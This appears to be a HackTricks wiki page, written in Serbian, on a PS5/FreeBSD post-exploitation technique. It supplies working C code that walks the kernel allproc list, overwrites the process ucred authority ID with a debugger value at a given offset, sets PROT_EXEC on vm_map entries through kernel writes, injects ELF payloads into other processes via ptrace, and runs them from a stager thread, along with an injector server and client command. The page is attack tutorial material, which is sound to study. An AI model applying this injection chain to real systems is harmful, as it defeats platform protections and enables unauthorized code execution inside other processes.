hacktricks/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md

9.0 KiB
Raw Blame History

FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)

{{#include ../banners/hacktricks-training.md}}

Pregled

Ova stranica dokumentuje praktičnu Unix/BSD usermode process/ELF injection tehniku na PlayStation 5 (PS5), koji je zasnovan na FreeBSD. Metoda se generalizuje na FreeBSD derivati kada već imate kernel read/write (R/W) primitives. Na visokom nivou:

  • Izmenite trenutne akreditive procesa (ucred) da biste dodelili privilegije debagera, omogućavajući ptrace/mdbg na proizvoljnim korisničkim procesima.
  • Pronađite ciljne procese pretraživanjem kernel allproc liste.
  • Zaobiđite PROT_EXEC ograničenja menjajući vm_map_entry.protection |= PROT_EXEC u ciljanom vm_map-u putem data-only zapisa u kernel memoriju.
  • Koristite ptrace za izvođenje Remote Function Invocation (RFI): suspendujte nit, postavite registre da pozovete proizvoljne funkcije unutar cilja, nastavite izvršavanje, prikupite povratne vrednosti i vratite stanje.
  • Mapirajte i pokrenite proizvoljne ELF payload-e unutar cilja koristeći in-process ELF loader, zatim pokrenite posebnu nit koja izvršava vaš payload i pokreće breakpoint da biste se lepo odvojili.

PS5 hypervisor mitigacije koje vredi pomenuti (u kontekstu ove tehnike):

  • XOM (execute-only .text) sprečava čitanje/pisanje kernel .text.
  • Brisanje CR0.WP ili onemogućavanje CR4.SMEP izaziva hypervisor vmexit (crash). Samo data-only kernel zapisi su izvodljivi.
  • Userland mmap je po defaultu ograničen na PROT_READ|PROT_WRITE. Dodeljivanje PROT_EXEC mora se obaviti uređivanjem vm_map unosa u kernel memoriji.

Ova tehnika je post-exploitation: pretpostavlja kernel R/W primitives iz exploit lanca. Javne payload-e demonstriraju ovo do firmware 10.01 u vreme pisanja.

Kernel data-only primitives

Process discovery via allproc

FreeBSD održava dvostruko povezanu listu procesa u kernel .data na allproc. Sa kernel read primitive, iterirajte je da biste locirali imena procesa i PID-ove:

struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
} while (next);
free(proc);
return NULL;
}

void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
  • KERNEL_ADDRESS_ALLPROC zavisi od firmvera.
  • p_comm je ime fiksne veličine; razmotrite pid->proc pretrage ako je potrebno.

Povećajte privilegije za debugovanje (ucred)

Na PS5, struct ucred sadrži polje Authority ID dostupno preko proc->p_ucred. Upisivanje debugger Authority ID-a omogućava ptrace/mdbg nad ostalim procesima:

void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
  • Offset 0x58 je specifičan za PS5 firmware family i mora se proveriti za svaku verziju.
  • Nakon ovog write-a, injector može da se attach-uje i instrumentuje user processes putem ptrace/mdbg.

Zaobilaženje RW-only user mappings: vm_map PROT_EXEC flip

Userland mmap može biti ograničen na PROT_READ|PROT_WRITE. FreeBSD prati address space procesa u vm_map od vm_map_entry čvorova (BST plus list). Svaki entry sadrži protection i max_protection polja:

struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};

With kernel R/W možete locirati target-ov vm_map i postaviti entry->protection |= PROT_EXEC (i, po potrebi, entry->max_protection). Praktčne napomene za implementaciju:

  • Prođite kroz entry-e ili linearno preko next ili koristeći balanced-tree (left/right) za O(log n) pretragu po opsegu adresa.
  • Izaberite poznatu RW regiju koju kontrolišete (scratch buffer ili mapped file) i dodajte PROT_EXEC kako biste mogli postaviti kod ili loader thunks.
  • PS5 SDK code pruža helper-e za brzu lookup map-entry i prebacivanje zaštita.

Ovo zaobilazi userland-ovu mmap politiku editovanjem kernel-owned metadata direktno.

Remote Function Invocation (RFI) with ptrace

FreeBSD nema Windows-style VirtualAllocEx/CreateRemoteThread. Umesto toga, naterajte target da poziva funkcije na sebi pod ptrace kontrolom:

  1. Attach-ujte se na target i izaberite thread; PTRACE_ATTACH ili PS5-specific mdbg flow-e mogu važiti.
  2. Sačuvajte thread context: registers, PC, SP, flags.
  3. Upisujte argument registers prema ABI (x86_64 SysV ili arm64 AAPCS64), postavite PC na target funkciju i po potrebi smestite dodatne args/stack.
  4. Single-step-ujte ili continue dok se ne dogodi kontrolisano zaustavljanje (npr. software breakpoint ili signal), zatim pročitajte povratne vrednosti iz regs.
  5. Restore-ujte originalni context i continue-ujte.

Upotrebe:

  • Pozovite in-process ELF loader (npr. elfldr_load) sa pointer-om na vaš ELF image u memoriji targeta.
  • Pozovite helper routine da dohvatite vraćene entrypoint-e i pointer-e na payload-args.

Example of driving the ELF loader:

intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args  = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);

Loader mapira segments, resolves imports, primenjuje relocations i vraća entry (često CRT bootstrap) plus opaque payload_args pointer koji vaš stager prosleđuje payloads main().

Threaded stager and clean detach

Minimalni stager unutar cilja kreira novi pthread koji pokreće ELFs main i zatim okida int3 da signalizira injector da se detach-uje:

int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
  • Pokazivači SCEFunctions/payload_args obezbeđeni su od strane loader/SDK glue.
  • Nakon breakpoint-a i detach-a, payload nastavlja u svojoj niti.

Kraj-do-kraja tok (referentna implementacija za PS5)

Funkcionalna implementacija se isporučuje kao mali TCP injector server i klijentski skript:

  • NineS server sluša na TCP 9033 i prima header koji sadrži ime ciljnog procesa, praćeno ELF image:
typedef struct __injector_data_t{
char       proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
  • Korišćenje Python klijenta:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>

Primer Hello-world payload-a (loguje u klog):

#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}

Praktična razmatranja

  • Offseti i konstante (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) su specifični za firmware i moraju se ažurirati za svako izdanje.
  • Zaštite hypervisora primoravaju pisanja samo podataka u kernel; ne pokušavajte patchovati CR0.WP ili CR4.SMEP.
  • JIT memorija je alternativa: neki procesi izlažu PS5 JIT API-je za alokaciju izvršnih stranica. Preokret zaštite u vm_map uklanja potrebu oslanjanja na JIT/mirroring trikove.
  • Obezbedite robusno čuvanje/obnavljanje registara; u slučaju greške možete izazvati deadlock ili crash cilja.

Javni alati

Reference

{{#include ../banners/hacktricks-training.md}}